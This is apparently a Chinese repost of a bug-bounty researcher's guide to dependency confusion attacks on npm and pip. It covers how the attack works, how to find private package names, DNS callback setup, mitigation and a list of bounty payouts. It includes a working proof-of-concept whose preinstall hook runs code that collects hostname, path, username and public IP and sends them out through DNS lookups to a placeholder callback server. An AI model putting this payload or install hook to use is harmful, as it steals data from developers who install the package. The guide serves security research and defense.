关于依赖性混淆攻击(检测、发现、缓解)
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/x1337loser/Dependency-Confusion
关于依赖混淆攻击(检测、发现、缓解)
表中的内容:
关于依赖混淆攻击:
当你 pip install -r requirements.txt 进入你的终端时,你是否检查过你当前安装的包不在公共存储库中? 还是有人在您盲目安装的这个软件包上安装了后门? 你如何信任pypi? 是否有任何东西会损害受防火墙保护的机器? 好吧,您可能想知道如何在终端中运行此命令而轻易被黑客入侵! 我不打算解释这是怎么发生的, alex birsan有一篇关于 依赖混淆 的很棒的文章 ! 但是我还是忍不住给大家简单解释一下依赖混淆攻击! 假设你有一个名为 A 这完全依赖于 React 包,因为你可能听说过一些第三方 React 组件包,这些组件包目前被许多公司用于他们的开发过程,(例如 react-router )这意味着你当前的项目严重依赖于一些第三方模块! 现在想象一下,你在这家公司找到了一份新工作,而你以前的同事没有告诉你他的项目,而是给了你一个 package.json 带有一堆 js 文件的文件,你知道如何使用这个简单的命令 npm -i ,你是很好去。 但是您知道您的高级开发人员可能不允许您公开披露一些私有包吗? 那么当你把 npm -i 在您的终端中,如果这个包裹被恶意行为者索取? 是的,这就是依赖混淆攻击的简单解释!
npm 和类似的包系统如何工作以及了解其结构等:
npm 代表节点包管理器,用于将项目依赖项存储为公共。 但是 npm 还允许您从本地包管理器安装包,这是私有的,这意味着这些包被公共用户限制,只有内部用户或特定流量可以安装这些包用于开发目的! 而且这些包在 public npm registry 中不存在,这工作正常,直到你不小心忘记在你的 cli 文件中提到安装路径。 但是在 pip 中,这些是完全不同的,因为如果为您的安装设置标志,pip 会检查更高版本 --extra-index ,就像您 --extra-index 在通过终端安装 pip 包时放置一样,例如: pip install -r requirements.txt --extra-index-url 然后 pip 将首先检查哪个存储库包含此包的更高版本。 如果 pip 发现您的本地注册表包含更高版本,则 pip 将安装它而不是公共版本。 现在想象一下,你不小心通过 github 存储库泄露了你的私人 pip 包名称,攻击者声称这些包并包含 2000.0.0 作为包版本,但在你的本地注册表中这个包版本就像 2.0.1 会发生什么? 好吧,如果你包含这个标志,pip 优先选择一个更高的版本, --extra-index-url 这样 pip 将从公共而不是私有存储库安装这个包,因为 pip 看到这个版本高于你的本地版本。 您可以在这篇博文中阅读 pip 的工作原理 , 如果您想了解该版本在 npm 中的工作原理,请阅读 本文 .因为我正在对其他包系统进行研究,所以我无法告诉你足够多的信息! 我会在这里添加它们。
检测私有 pip 和 npm 包:
这对于 npm 普通包来说非常简单,只需访问 https://npmjs.com/package/YOUR-PACKAGE-NAME-HERE and for scope packages ,让我告诉你它到底是什么意思'如果你看到这样的 npm 包名称,这 @test/example-packages 意味着每个包都以范围名称 的第一部分开始 @ 并除以 范围名称和第二部分是实际的包名,所以如果你在你的发现中找到这种类型的包名,你必须检查这个范围名称是否在公共存储库中声明, 如果这显示你 404 那意味着这是无人认领的范围名称! 因此,要在 npmjs 上上传 POC 包,您必须先创建一个组织名称,然后像这样将此名称更新到您的 package.json 文件 中,对于 pip,只需 访问 \ \ https://npmjs.com/org/SCOPE-NAMES-HERE @org/package-name-here
使用 bash 自动查找私有包:
下载此 npm-automation.sh 文件并在您的终端中运行此命令 bash automate-bash.sh <target domain> 确保您已在您的计算机中安装 tomnomnom 的 waybackurls 和 hacker_ 的 gau 。
手动搜索以查找更多包:
- 使用 Github:在 GitHub 中,您可以访问每个存储库以查看是否存在任何这些文件名, 例如 npm
package.json、、、、 。 对于点 , , 。yarn.lockpackage-lock.jsonyarn-error.logrequirements.txtrequirement-dev.txtrequirement-prod.txt - 使用 Devtools:打开你的 firefox 浏览器并访问你的目标域/子域 ==> 右键单击 ==> 检查 ==> 转到
Debugger==> 尝试查找Webpack目录(如果你的目标使用 webpack,否则你可能看不到任何东西)= => 在Webpack目录中你会看到node_modules文件夹和文件夹的每个子文件夹名称node_modules实际上是一个 npm 包。 - JS 文件:js 文件读起来很无聊,但如果你已经知道 npm 包的名称是什么样子的,你可能能够在 js 文件中发现它们。 (这个需要练习)
设置 bind9 DNS 服务器:
关注这些视频并回购 Github 回购 DigitalOcean + Namecheap , AWS + Godaddy ,
上传 POC:
请在我的 youtube 频道上观看此视频。
在此文件夹 src/poc 中,编辑 index.js 文件。 替换 niroborg-npm-com-test 为您的目标包名称。 也 bind9-or-callback-server.com 到您的回调 DNS 服务器。
const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'niroborg-npm-com-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $a.bind9-or-callback-server.com;done" , (error, data, getter) => {
if(error){
console.log("error",error.message);
return;
}
if(getter){
console.log(data);
return;
}
console.log(data);
});
在 package.json 文件中,替换 test-npm-com-test 为您的目标包名称。 然后定义版本名称。 建议您在上传 npm 包时,上传多个包版本,因为 npm 使用特殊的版本系统。 阅读更多
{
"name": "test-npm-com-test",
"version": "1.999.0",
"description": "",
"main": "main.js",
"scripts": {
"preinstall": "node index.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "lexi2",
"license": "ISC",
"dependencies": {
"lodash": "^4.17.21"
}
}
请 在我的 youtube 频道上观看此 视频。
减轻:
通过 @visma-prodsec 混淆 扫描你的项目依赖
(我有自己的 npm 扫描器,我认为 confused 真的很酷,因为他们添加了一堆其他的包管理器来进行扫描)
赏金透明度:
- 来自 Shein 的 2000 美元(上市)
- 来自外部漏洞赏金计划的 2000 美元(已关闭)
- 来自 Bugcrowd 私人计划的 1500 美元(已关闭)
- 来自 Bugcrowd 私人计划的 1250 美元(进行中)
- 外部错误赏金 1000 美元(自托管)
- 1000 美元来自 Comcast Cable。 (关闭)
- 来自外部错误赏金计划的 700 美元(自托管)
- 来自外部错误赏金计划的 500 美元(自托管)
- 来自 Bugcrowd 私人计划的 250 美元(已关闭)
致谢
- @alxbrsn 的惊人 研究 ,没有他的研究,一切都不可能实现。
- @Stok 关于设置 bind9 dns 服务器(使用 GoDaddy + aws) 的精彩 视频
- @juxhindb 对于他惊人的 github repo
- @nigamelastic 关于设置 bind9 dns 服务器的精彩视频(使用 Namecheap + digitalocean )
- @tomnomnom 强大的存档 URL 获取工具 waybackurls
- @hacker_ 强大的归档 URL 抓取工具 gau
- @visma-prodsec 对他们强大的依赖扫描器 感到困惑